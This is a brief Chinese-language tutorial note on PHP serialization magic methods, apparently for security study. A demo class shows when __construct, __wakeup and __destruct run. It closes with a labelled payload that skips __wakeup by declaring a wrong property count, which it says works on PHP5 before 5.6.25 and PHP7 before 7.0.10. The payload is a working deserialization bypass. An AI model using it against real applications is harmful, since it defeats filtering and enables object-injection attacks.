unserialize 和 serialize的注意点:
__construct():当对象创建(new)时会自动调用。但在 unserialize() 时是不会自动调用的。(构造函数)
__destruct():当对象被销毁时会自动调用。(析构函数)
__wakeup():unserialize() 时会自动调用。
DEMO
class Demo
{
public $data;
public function __construct($data)
{
$this->data = $data;
echo "construct<br />";
}
public function __wakeup()
{
echo "wake up<br />";
}
public function __destruct()
{
echo "Data's value is $this->data. <br />";
echo "destruct<br />";
}
}
var_dump(serialize(new Demo("raw value")));
结果:
construct
Data's value is raw value.
destruct
string 'O:4:"Demo":1:{s:4:"data";s:9:"raw value";}' (length=42)
最后的语句改为这样试试看:
unserialize('O:4:"Demo":1:{s:4:"data";s:15:"malicious value";}');
结果:
wake up
Data's value is malicious value.
destruct
这里也说明了__wakeup():unserialize() 时会自动调用
我们在反序列化的时候 可能有时候__wakeup 中会进行一些过滤等等的操作 所以我们需要尝试绕过
绕过的条件
反序列化中object的个数和之前的个数不等
payload
unserialize('O:4:"Demo":2:{s:4:"data";s:15:"malicious value";}');
结果:
Data's value is malicious value.
destruct
影响版本
PHP5 < 5.6.25, PHP7 < 7.0.10